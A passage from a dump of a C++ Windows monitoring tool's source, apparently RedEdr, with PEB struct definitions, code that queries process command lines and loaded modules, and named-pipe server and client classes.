HANDLE StandardOutput;\n    HANDLE StandardError;\n\n    CURDIR CurrentDirectory;\n    UNICODE_STRING DllPath;\n    UNICODE_STRING ImagePathName;\n    UNICODE_STRING CommandLine;\n    PVOID Environment;\n\n    ULONG StartingX;\n    ULONG StartingY;\n    ULONG CountX;\n    ULONG CountY;\n    ULONG CountCharsX;\n    ULONG CountCharsY;\n    ULONG FillAttribute;\n\n    ULONG WindowFlags;\n    ULONG ShowWindowFlags;\n    UNICODE_STRING WindowTitle;\n    UNICODE_STRING DesktopInfo;\n    UNICODE_STRING ShellInfo;\n    UNICODE_STRING RuntimeData;\n    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\n\n    ULONG_PTR EnvironmentSize;\n    ULONG_PTR EnvironmentVersion;\n\n    PVOID PackageDependencyData;\n    ULONG ProcessGroupId;\n    ULONG LoaderThreads;\n\n    UNICODE_STRING RedirectionDllName; // REDSTONE4\n    UNICODE_STRING HeapPartitionName; // 19H1\n    ULONG_PTR DefaultThreadpoolCpuSetMasks;\n    ULONG DefaultThreadpoolCpuSetMaskCount;\n    ULONG DefaultThreadpoolThreadMaximum;\n    ULONG HeapMemoryTypeMask; // WIN11\n} MY_RTL_USER_PROCESS_PARAMETERS, * PMY_RTL_USER_PROCESS_PARAMETERS;\n\n\n// symbols\ntypedef struct _MYPEB\n{\n    BOOLEAN InheritedAddressSpace;\n    BOOLEAN ReadImageFileExecOptions;\n    BOOLEAN BeingDebugged;\n    union\n    {\n        BOOLEAN BitField;\n        struct\n        {\n            BOOLEAN ImageUsesLargePages : 1;\n            BOOLEAN IsProtectedProcess : 1;\n            BOOLEAN IsImageDynamicallyRelocated : 1;\n            BOOLEAN SkipPatchingUser32Forwarders : 1;\n            BOOLEAN IsPackagedProcess : 1;\n            BOOLEAN IsAppContainer : 1;\n            BOOLEAN IsProtectedProcessLight : 1;\n            BOOLEAN IsLongPathAwareProcess : 1;\n        };\n    };\n\n    HANDLE Mutant;\n\n    PVOID ImageBaseAddress;\n    PPEB_LDR_DATA Ldr;\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n    PVOID SubSystemData;\n    PVOID ProcessHeap;\n    PRTL_CRITICAL_SECTION FastPebLock;\n    PSLIST_HEADER AtlThunkSListPtr;\n    PVOID IFEOKey;\n\n    union\n    {\n        ULONG CrossProcessFlags;\n        struct\n        {\n            ULONG ProcessInJob : 1;\n            ULONG ProcessInitializing : 1;\n            ULONG ProcessUsingVEH : 1;\n            ULONG ProcessUsingVCH : 1;\n            ULONG ProcessUsingFTH : 1;\n            ULONG ProcessPreviouslyThrottled : 1;\n            ULONG ProcessCurrentlyThrottled : 1;\n            ULONG ProcessImagesHotPatched : 1; // REDSTONE5\n            ULONG ReservedBits0 : 24;\n        };\n    };\n    union\n    {\n        PVOID KernelCallbackTable;\n        PVOID UserSharedInfoPtr;\n    };\n    ULONG SystemReserved;\n    ULONG AtlThunkSListPtr32;\n    PAPI_SET_NAMESPACE ApiSetMap;\n    ULONG TlsExpansionCounter;\n    PRTL_BITMAP TlsBitmap;\n    ULONG TlsBitmapBits[2]; // TLS_MINIMUM_AVAILABLE\n\n    PVOID ReadOnlySharedMemoryBase;\n    PSILO_USER_SHARED_DATA SharedData; // HotpatchInformation\n    PVOID* ReadOnlyStaticServerData;\n\n    PVOID AnsiCodePageData; // PCPTABLEINFO\n    PVOID OemCodePageData; // PCPTABLEINFO\n    PVOID UnicodeCaseTableData; // PNLSTABLEINFO\n\n    ULONG NumberOfProcessors;\n    ULONG NtGlobalFlag;\n\n    ULARGE_INTEGER CriticalSectionTimeout;\n    SIZE_T HeapSegmentReserve;\n    SIZE_T HeapSegmentCommit;\n    SIZE_T HeapDeCommitTotalFreeThreshold;\n    SIZE_T HeapDeCommitFreeBlockThreshold;\n\n    ULONG NumberOfHeaps;\n    ULONG MaximumNumberOfHeaps;\n    PVOID* ProcessHeaps; // PHEAP\n\n    PVOID GdiSharedHandleTable; // PGDI_SHARED_MEMORY\n    PVOID ProcessStarterHelper;\n    ULONG GdiDCAttributeList;\n\n    PRTL_CRITICAL_SECTION LoaderLock;\n\n    ULONG OSMajorVersion;\n    ULONG OSMinorVersion;\n    USHORT OSBuildNumber;\n    USHORT OSCSDVersion;\n    ULONG OSPlatformId;\n    ULONG ImageSubsystem;\n    ULONG ImageSubsystemMajorVersion;\n    ULONG ImageSubsystemMinorVersion;\n    KAFFINITY ActiveProcessAffinityMask;\n    GDI_HANDLE_BUFFER GdiHandleBuffer;\n    PVOID PostProcessInitRoutine;\n\n    PRTL_BITMAP TlsExpansionBitmap;\n    ULONG TlsExpansionBitmapBits[32]; // TLS_EXPANSION_SLOTS\n\n    ULONG SessionId; /*******************/\n\n    ULARGE_INTEGER AppCompatFlags; // KACF_*\n    ULARGE_INTEGER AppCompatFlagsUser;\n    PVOID pShimData;\n    PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA\n\n    UNICODE_STRING CSDVersion;\n\n    PACTIVATION_CONTEXT_DATA ActivationContextData;\n    PASSEMBLY_STORAGE_MAP ProcessAssemblyStorageMap;\n    PACTIVATION_CONTEXT_DATA SystemDefaultActivationContextData;\n    PASSEMBLY_STORAGE_MAP SystemAssemblyStorageMap;\n\n    SIZE_T MinimumStackCommit;\n\n    PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)\n    PVOID PatchLoaderData;\n    PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO\n\n    ULONG AppModelFeatureState;\n    ULONG SpareUlongs[2];\n\n    USHORT ActiveCodePage;\n    USHORT OemCodePage;\n    USHORT UseCaseMapping;\n    USHORT UnusedNlsField;\n\n    PVOID WerRegistrationData;\n    PVOID WerShipAssertPtr;\n\n    union\n    {\n        PVOID pContextData; // WIN7\n        PVOID pUnused; // WIN10\n        PVOID EcCodeBitMap; // WIN11\n    };\n\n    PVOID pImageHeaderHash;\n    union\n    {\n        ULONG TracingFlags;\n        struct\n        {\n            ULONG HeapTracingEnabled : 1;\n            ULONG CritSecTracingEnabled : 1;\n            ULONG LibLoaderTracingEnabled : 1;\n            ULONG SpareTracingBits : 29;\n        };\n    };\n    ULONGLONG CsrServerReadOnlySharedMemoryBase;\n    PRTL_CRITICAL_SECTION TppWorkerpListLock;\n    LIST_ENTRY TppWorkerpList;\n    PVOID WaitOnAddressHashTable[128];\n    PTELEMETRY_COVERAGE_HEADER TelemetryCoverageHeader; // REDSTONE3\n    ULONG CloudFileFlags;\n    ULONG CloudFileDiagFlags; // REDSTONE4\n    CHAR PlaceholderCompatibilityMode;\n    CHAR PlaceholderCompatibilityModeReserved[7];\n    PLEAP_SECOND_DATA LeapSecondData; // REDSTONE5\n    union\n    {\n        ULONG LeapSecondFlags;\n        struct\n        {\n            ULONG SixtySecondEnabled : 1;\n            ULONG Reserved : 31;\n        };\n    };\n    ULONG NtGlobalFlag2;\n    ULONGLONG ExtendedFeatureDisableMask; // since WIN11\n} MYPEB, * PMYPEB;\n\n"
  },
  {
    "path": "RedEdrShared/myprocess.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <tlhelp32.h>\n\n#include \"myprocess.h\"\n#include \"utils.h\"\n#include \"process_query.h\"\n#include \"../Shared/common.h\"\n\n// The implementation is in each solution\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\n\n// Helper function to get process command line by PID\n// Falls back to process name if command line cannot be retrieved\nstd::wstring GetProcessNameByPid(DWORD pid) {\n    // First try to get the full command line by opening the process\n    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);\n    if (hProcess != NULL) {\n        try {\n            ProcessPebInfoRet pebInfo = ProcessPebInfo(hProcess);\n            CloseHandle(hProcess);\n            if (!pebInfo.commandline.empty()) {\n                return string2wstring(pebInfo.commandline);\n            }\n        }\n        catch (const std::exception& e) {\n            //LOG_A(LOG_WARNING, \"GetProcessNameByPid: Exception getting PEB info for pid %lu: %s\", pid, e.what());\n            CloseHandle(hProcess);\n        }\n    //} else {\n    //    LOG_A(LOG_WARNING, \"GetProcessNameByPid: Could not open process %lu for command line query (error %lu), falling back to process name\", pid, GetLastError());\n    }\n    \n    // Fallback: use CreateToolhelp32Snapshot to get just the process name\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (hSnapshot == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"GetProcessNameByPid: Failed to create process snapshot: %lu\", GetLastError());\n        return std::wstring(L\"\");\n    }\n    \n    PROCESSENTRY32W pe32;\n    pe32.dwSize = sizeof(PROCESSENTRY32W);\n    \n    // Get the first process\n    if (!Process32FirstW(hSnapshot, &pe32)) {\n        LOG_A(LOG_ERROR, \"GetProcessNameByPid: Failed to get first process: %lu\", GetLastError());\n        CloseHandle(hSnapshot);\n        return std::wstring(L\"\");\n    }\n    \n    std::wstring processName;\n    do {\n        if (pe32.th32ProcessID == pid) {\n            processName = std::wstring(pe32.szExeFile);\n            break;\n        }\n    } while (Process32NextW(hSnapshot, &pe32));\n    \n    CloseHandle(hSnapshot);\n    return processName;\n}\n\n\nbool Process::ObserveIfMatchesTargets(const std::vector<std::string>& targetNames) {\n    for (const auto& target : targetNames) {\n        if (contains_case_insensitive(name, target)) {\n            LOG_A(LOG_INFO, \"Process: observe pid %lu: %s\", id, name.c_str());\n            observe = TRUE;\n            return true;\n        }\n    }\n    observe = FALSE;\n    return false;\n}\n\n\nbool Process::AugmentInfo() {\n    if (!OpenTarget()) {\n        LOG_A(LOG_WARNING, \"EventProcessor: Cannot open process handle for pid %lu\", id);\n        return FALSE;\n    }\n    \n    // Check if it is still running\n    DWORD exitCode;\n    if (!GetExitCodeProcess(GetHandle(), &exitCode)) {\n        LOG_A(LOG_WARNING, \"EventProcessor: Failed to get exit code for process pid %lu, error: %lu\",\n            id, GetLastError());\n        CloseTarget();\n        return FALSE;\n    }\n    if (exitCode != STILL_ACTIVE) {\n        LOG_A(LOG_WARNING, \"EventProcessor: Process pid %lu is not active (exit code: %lu)\",\n            id, exitCode);\n        CloseTarget();\n        return FALSE;\n    }\n\n    // PEB info\n    processPebInfoRet = ProcessPebInfo(GetHandle());\n\n    // Loaded modules\n    processLoadedDlls = ProcessEnumerateModules(GetHandle());\n    for (auto processLoadedDll : processLoadedDlls) {\n        try {\n            std::vector<ModuleSection> moduleSections = EnumerateModuleSections(\n                GetHandle(), \n                uint64_to_pointer(processLoadedDll.dll_base));\n            for (auto moduleSection : moduleSections) {\n                MemoryRegion* memoryRegion = new MemoryRegion(\n                    moduleSection.name,\n                    moduleSection.addr, \n                    moduleSection.size, \n                    moduleSection.protection);\n                memStatic.AddMemoryRegion(memoryRegion->addr, memoryRegion);\n            }\n        }\n        catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"EventProcessor: Error enumerating sections for module %s: %s\", \n                    processLoadedDll.name.c_str(), e.what());\n        }\n    }\n\n    CloseTarget();\n    return TRUE;\n}\n\n\n// This should be fast\nProcess* MakeProcess(DWORD pid, std::vector<std::string> targetNames) {\n    Process* process;\n    process = new Process(pid);\n\n    // Process name/command line\n    std::wstring processName = GetProcessNameByPid(pid);\n    if (processName.empty()) {\n        //LOG_A(LOG_WARNING, \"MakeProcess: Could not get process name for pid %lu\", pid);\n\t\tprocessName = L\"<unknown>\";\n    }\n    process->commandline = wstring2string(processName);\n    process->name = process->commandline;\n\n    // Dont observe ourselves\n    if (contains_case_insensitive(process->name, \"rededr.exe\")) {\n        process->observe = 0;\n        return process;\n    }\n\n    // Check if we should trace\n    process->ObserveIfMatchesTargets(targetNames);\n\n    return process;\n}\n\n\nBOOL Process::OpenTarget() {\n    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, id);\n    if (!hProcess) {\n        LOG_A(LOG_WARNING, \"Could not open process pid: %lu error %lu\", id, GetLastError());\n        return FALSE;\n    }\n    return TRUE;\n}\n\n\nBOOL Process::CloseTarget() {\n    if (hProcess != NULL) {\n        CloseHandle(hProcess);\n        hProcess = NULL;\n    }\n    return TRUE;\n}\n\n\nHANDLE Process::GetHandle() {\n    return hProcess;\n}\n\n\nProcess::Process() {\n    observe = FALSE;\n    hProcess = NULL;\n}\n\n\nProcess::Process(DWORD _id) {\n    id = _id;\n    observe = FALSE;\n    hProcess = NULL;\n}\n\n\nProcess::~Process() {\n    // memStatic has its own destructor that will clean up MemoryRegion objects\n    // processLoadedDlls and processPebInfoRet are value types that will be cleaned up automatically\n    // name and commandline are std::string objects that will be cleaned up automatically\n}\n\n\nBOOL Process::doObserve() {\n    return observe;\n}\n\n"
  },
  {
    "path": "RedEdrShared/myprocess.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <string>\n#include <vector>\n\n#include \"process_query.h\"\n#include \"process_mem_static.h\"\n\n\nclass Process {\npublic:\n    Process();\n    Process(DWORD _id);\n    ~Process();  // Destructor to clean up all data\n    BOOL doObserve();\n\n    bool ObserveIfMatchesTargets(const std::vector<std::string>& targetNames);\n    bool AugmentInfo();\n\n    BOOL OpenTarget();\n    BOOL CloseTarget();\n    HANDLE GetHandle();\n\npublic:\n    DWORD id = 0;\n    BOOL observe = FALSE;\n\n    BOOL augmented = FALSE;\n\n    std::string name;\n    std::string commandline;\n\n    // When augmented\n    std::vector<ProcessLoadedDll> processLoadedDlls;\n    ProcessPebInfoRet processPebInfoRet;\n    MemStatic memStatic;\n\n\n    HANDLE hProcess;\n};\n\n\nProcess* MakeProcess(DWORD pid, std::vector<std::string> targetNames);\n"
  },
  {
    "path": "RedEdrShared/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.O365.Security.Krabsetw\" version=\"4.4.3\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "RedEdrShared/piping.cpp",
    "content": "\n#include <Windows.h>\n#include <sddl.h>\n#include <iostream>\n#include <vector>\n#include <string>\n\n#include \"piping.h\"\n#include \"../Shared/common.h\"\n\n// The implementation is in each solution\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\n\n/* Piping.ch: Provide pipes for communication with components\n *   server and client\n *   send, receive, receive-batch\n */\n\n\nPipeServer::PipeServer(std::string pipe_name, wchar_t *pipePath) {\n    hPipe = NULL;\n    pipe_name = pipe_name;\n    pipe_path = pipePath;\n}\n\nPipeServer::~PipeServer() {\n    Shutdown();\n}\n\n\nBOOL PipeServer::StartAndWaitForClient(BOOL allow_all) {\n    if (!Start(allow_all)) {\n        return FALSE;\n    }\n    return WaitForClient();\n}\n\n\nBOOL PipeServer::Start(BOOL allow_all) {\n    if (hPipe != NULL) {\n        LOG_A(LOG_WARNING, \"PipingSrv %s: Pipe already started\", pipe_name.c_str());\n        return FALSE;\n    }\n\n    // Permissions\n    // Allow processes of all privilege levels to access this pipe\n    SECURITY_ATTRIBUTES* sa_ptr = NULL;\n    PSECURITY_DESCRIPTOR pSD = NULL;\n    \n    if (allow_all) {\n        // \"D:(A;OICI;GA;;;WD)\" translates to: Allow (A) All Users (WD) Generic Access (GA)\n        LPCWSTR securityDescriptorString = L\"D:(A;OICI;GA;;;WD)\";\n        SECURITY_ATTRIBUTES sa;\n        \n        if (!ConvertStringSecurityDescriptorToSecurityDescriptor(\n            securityDescriptorString,\n            SDDL_REVISION_1,\n            &pSD,\n            NULL))\n        {\n            LOG_A(LOG_ERROR, \"PipingSrv %s: Failed to create security descriptor. Error: %lu\", \n                pipe_name.c_str(),\n                GetLastError());\n            return FALSE;\n        }\n        sa.nLength = sizeof(SECURITY_ATTRIBUTES);\n        sa.lpSecurityDescriptor = pSD;\n        sa.bInheritHandle = FALSE;\n        sa_ptr = &sa;\n    }\n\n    hPipe = CreateNamedPipe(\n        pipe_path,\n        PIPE_ACCESS_DUPLEX,\n        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE| PIPE_WAIT,\n        PIPE_UNLIMITED_INSTANCES,\n        PIPE_BUFFER_SIZE,\n        PIPE_BUFFER_SIZE,\n        0,\n        sa_ptr\n    );\n    \n    // Free the security descriptor if it was allocated\n    if (pSD != NULL) {\n        LocalFree(pSD);\n    }\n    \n    if (hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Error creating named pipe: %ld\", \n            pipe_name.c_str(),\n            GetLastError());\n        hPipe = NULL;\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n\nBOOL PipeServer::WaitForClient() {\n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Invalid pipe handle in WaitForClient\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n\n    // Wait for the client to connect\n    if (! ConnectNamedPipe(hPipe, NULL)) {\n\t\tDWORD err = GetLastError();\n        if (err != ERROR_PIPE_CONNECTED) {\n            LOG_A(LOG_ERROR, \"PipingSrv %s: Error handling client connection: %ld\", \n                pipe_name.c_str(),\n                err);\n            CloseHandle(hPipe);\n            hPipe = NULL;\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\n\nBOOL PipeServer::Send(char* buffer) {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Attempt to send to closed pipe\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    if (buffer == NULL) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Null buffer provided\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    size_t buffer_len = strlen(buffer);\n    if (buffer_len == 0) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Empty buffer provided\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    // Check for potential overflow\n    if (buffer_len >= PIPE_BUFFER_SIZE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Buffer too large for pipe\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    DWORD len = static_cast<DWORD>(buffer_len) + 1; // include null terminator\n    DWORD bytesWritten = 0;\n    \n    if (!WriteFile(hPipe, buffer, len, &bytesWritten, NULL)) {\n        // Let caller handle it\n        return FALSE;\n    }\n    \n    // Verify all bytes were written\n    if (bytesWritten != len) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Incomplete write to pipe\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    return TRUE;\n}\n\n\nBOOL PipeServer::Receive(char* buffer, size_t buffer_len) {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Pipe is not connected\", \n            pipe_name.c_str());\n        return FALSE;\n    }\n    if (buffer == NULL || buffer_len == 0) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Invalid buffer parameters\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    // Ensure we don't exceed DWORD limits\n    if (buffer_len > MAXDWORD) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Buffer size too large\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    DWORD readLen = static_cast<DWORD>(buffer_len - 1); // Reserve space for null terminator\n    DWORD bytesRead = 0;\n    \n    if (!ReadFile(hPipe, buffer, readLen, &bytesRead, NULL)) {\n        LOG_A(LOG_INFO, \"PipingSrv %s: Error when reading from pipe: %lu\", \n            pipe_name.c_str(),\n            GetLastError());\n        return FALSE;\n    }\n    \n    // Ensure null termination\n    if (bytesRead < buffer_len) {\n        buffer[bytesRead] = '\\0';\n    } else {\n        buffer[buffer_len - 1] = '\\0';\n    }\n    \n    return TRUE;\n}\n\n\n// Empty result = error / finished\n// Currently no batching\nstd::vector<std::string> PipeServer::ReceiveBatch() {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    DWORD bytesRead;\n    std::vector<std::string> strings;\n\n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingSrv %s: Pipe not connected in ReceiveBatch\", \n            pipe_name.c_str());\n        return strings;\n    }\n\n    if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {\n        // Ensure null termination\n        buffer[bytesRead] = '\\0';\n        \n        // Validate that we have valid data\n        if (bytesRead > 0) {\n            strings.push_back(std::string(buffer));\n        }\n    }\n    else {\n        DWORD error = GetLastError();\n        if (error == ERROR_BROKEN_PIPE) {\n            LOG_A(LOG_INFO, \"PipingSrv: %s: disconnected\", \n                pipe_name.c_str());\n        }\n        else if (error == ERROR_OPERATION_ABORTED) {\n            LOG_A(LOG_INFO, \"PipingSrv: %s: I/O cancelled (shutdown)\", \n                pipe_name.c_str());\n        }\n        else {\n            LOG_A(LOG_ERROR, \"PipingSrv: %s: Error reading from named pipe: %lu\", \n                pipe_name.c_str(), \n                error);\n        }\n        // Close the pipe on any error to prevent further use\n        CloseHandle(hPipe);\n        hPipe = NULL;\n    }\n\n    return strings;\n}\n\n\nvoid PipeServer::Shutdown() {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n\n    LOG_A(LOG_INFO, \"PipingSrv %s: Shutdown\",\n        pipe_name.c_str());\n    \n    if (hPipe != NULL && hPipe != INVALID_HANDLE_VALUE) {\n        DisconnectNamedPipe(hPipe);\n        CloseHandle(hPipe);\n    }\n    hPipe = NULL;\n}\n\n\nBOOL PipeServer::IsConnected() {\n    return (hPipe != NULL && hPipe != INVALID_HANDLE_VALUE);\n}\n\n\n/* Client */\n\nPipeClient::PipeClient(std::string pipeName) {\n    hPipe = NULL;\n    pipe_name = pipeName;\n}\n\nPipeClient::~PipeClient() {\n    Disconnect();\n}\n\n\nBOOL PipeClient::Connect(const wchar_t *pipe_path) {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    if (pipe_path == NULL) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Null pipe path provided\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    // Close existing connection if any\n    if (hPipe != NULL && hPipe != INVALID_HANDLE_VALUE) {\n        CloseHandle(hPipe);\n    }\n    \n    hPipe = CreateFileW(pipe_path, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);\n    if (hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_INFO, \"PipingCli %s: Could not open pipe. Error: %lu\", \n            pipe_name.c_str(),\n            GetLastError());\n        hPipe = NULL;\n        return FALSE;\n    }\n    return TRUE;\n}\n\n\nvoid PipeClient::Disconnect() {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    if (hPipe != NULL && hPipe != INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_INFO, \"PipingCli %s: Disconnect\", pipe_name.c_str());\n        CloseHandle(hPipe);\n    }\n    hPipe = NULL;\n}\n\n\nBOOL PipeClient::Send(char* buffer) {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Pipe closed\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    if (buffer == NULL) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Null buffer provided\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    size_t buffer_len = strlen(buffer);\n    if (buffer_len == 0) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Empty buffer provided\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    // Check for potential overflow\n    if (buffer_len >= PIPE_BUFFER_SIZE) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Buffer too large for pipe\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    DWORD len = static_cast<DWORD>(buffer_len) + 1; // include null terminator\n    DWORD bytesWritten = 0;\n    \n    BOOL res = WriteFile(hPipe, buffer, len, &bytesWritten, NULL);\n    if (res == FALSE) {\n        return FALSE;\n    }\n    \n    // Verify all bytes were written\n    if (bytesWritten != len) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Incomplete write to pipe\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    return TRUE;\n}\n\n\nBOOL PipeClient::Receive(char* buffer, size_t buffer_len) {\n    std::lock_guard<std::mutex> lock(pipe_mutex);\n    \n    if (hPipe == NULL || hPipe == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Pipe is not connected\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    if (buffer == NULL || buffer_len == 0) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Invalid buffer parameters\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    // Ensure we don't exceed DWORD limits\n    if (buffer_len > MAXDWORD) {\n        LOG_A(LOG_ERROR, \"PipingCli %s: Buffer size too large\",\n            pipe_name.c_str());\n        return FALSE;\n    }\n    \n    DWORD readLen = static_cast<DWORD>(buffer_len - 1); // Reserve space for null terminator\n    DWORD bytesRead = 0;\n    \n    if (!ReadFile(hPipe, buffer, readLen, &bytesRead, NULL)) {\n        LOG_A(LOG_INFO, \"PipingCli %s: Error reading from pipe: %lu\", \n            pipe_name.c_str(),\n            GetLastError());\n        return FALSE;\n    }\n    \n    // Ensure null termination\n    if (bytesRead < buffer_len) {\n        buffer[bytesRead] = '\\0';\n    } else {\n        buffer[buffer_len - 1] = '\\0';\n    }\n    \n    return TRUE;\n}\n"
  },
  {
    "path": "RedEdrShared/piping.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <vector>\n#include <string>\n#include <mutex>\n\n#include \"../Shared/common.h\"\n\n\nclass PipeServer {\npublic:\n\tPipeServer(std::string pipeName, wchar_t* pipePath);\n\t~PipeServer(); // Add destructor for proper cleanup\n\t\n\t// Disable copy constructor and assignment operator to prevent resource issues\n\tPipeServer(const PipeServer&) = delete;\n\tPipeServer& operator=(const PipeServer&) = delete;\n\t\n\tBOOL StartAndWaitForClient(BOOL allow_all);\n\tBOOL WaitForClient();\n\tBOOL Start(BOOL allow_all);\n\n\tBOOL Send(char* buffer);\n\tBOOL Receive(char* buffer, size_t buffer_len);\n\tstd::vector<std::string> ReceiveBatch();\n\tvoid Shutdown();\n\tBOOL IsConnected();\n\t\nprivate:\n\tHANDLE hPipe;\n\twchar_t* pipe_path;\n\tstd::string pipe_name;\n\tstd::mutex pipe_mutex; // Add mutex for thread safety\n\n\tchar buffer[DATA_BUFFER_SIZE] = { 0 };\n};\n\n\nclass PipeClient {\npublic:\n\tPipeClient(std::string pipeName);\n\t~PipeClient(); // Add destructor for proper cleanup\n\t\n\t// Disable copy constructor and assignment operator to prevent resource issues\n\tPipeClient(const PipeClient&) = delete;\n\tPipeClient& operator=(const PipeClient&) = delete;\n\t\n\tBOOL Connect(const wchar_t* pipeName);\n\tvoid Disconnect();\n\n\tBOOL Send(char* buffer);\n\tBOOL Receive(char* buffer, size_t buffer_len);\n\nprivate:\n\tHANDLE hPipe;\n\tstd::mutex pipe_mutex; // Add mutex for thread safety\n\tstd::string pipe_name;\n};\n\n"
  },
  {
    "path": "RedEdrShared/process_mem_static.cpp",
    "content": "#include <windows.h>\n#include <vector>\n#include <string>\n\n#include \"process_mem_static.h\"\n\n\nMemStatic::MemStatic() {\n}\n\nMemStatic::~MemStatic() {\n\t// Clean up all allocated MemoryRegion objects\n\tfor (const auto& it : memoryRegions.ranges_) {\n\t\tMemoryRegion* r = (MemoryRegion*)it.data_;\n\t\tdelete r;\n\t}\n}\n\n\nvoid MemStatic::AddMemoryRegion(uint64_t addr, MemoryRegion* region) {\n\tmemoryRegions.add(Range(addr, addr + region->size, region));\n}\n\n\nBOOL MemStatic::ExistMemoryRegion(uint64_t addr) {\n\treturn memoryRegions.contains(addr);\n}\n\n\nMemoryRegion* MemStatic::GetMemoryRegion(uint64_t addr) {\n\tconst Range* range = memoryRegions.get(addr);\n\tif (range != NULL) {\n\t\treturn (MemoryRegion*)range->data_;\n\t}\n\telse {\n\t\treturn NULL;\n\t}\n}\n\n\nvoid MemStatic::RemoveMemoryRegion(uint64_t addr, size_t size) {\n\tfor (auto it = memoryRegions.ranges_.begin(); it != memoryRegions.ranges_.end(); ) {\n\t\tif (it->contains(addr)) {\n\t\t\t// Free the memory before removing from collection\n\t\t\tMemoryRegion* r = (MemoryRegion*)it->data_;\n\t\t\tdelete r;\n\t\t\tit = memoryRegions.ranges_.erase(it);\n\t\t}\n\t\telse {\n\t\t\t++it;\n\t\t}\n\t}\n}\n\n\nvoid MemStatic::ResetData() {\n\t// Clean up all allocated MemoryRegion objects before clearing\n\tfor (const auto& it : memoryRegions.ranges_) {\n\t\tMemoryRegion* r = (MemoryRegion*)it.data_;\n\t\tdelete r;\n\t}\n\tmemoryRegions.ResetData();\n}\n\n\nvoid MemStatic::PrintMemoryRegions() {\n\tprintf(\"Memory Regions: \\n\");\n\tfor (const auto& it : memoryRegions.ranges_) {\n\t\tMemoryRegion* r = (MemoryRegion*)it.data_;\n\t\tprintf(\"  %s 0x%llx 0x%llx  %s\\n\",\n\t\t\tr->name.c_str(),\n\t\t\tr->addr,\n\t\t\tr->size,\n\t\t\tr->protection.c_str()\n\t\t);\n\t}\n}\n\n\nnlohmann::json MemStatic::ToJson() {\n\tnlohmann::json j;\n\tfor (const auto& it : memoryRegions.ranges_) {\n\t\tMemoryRegion* r = 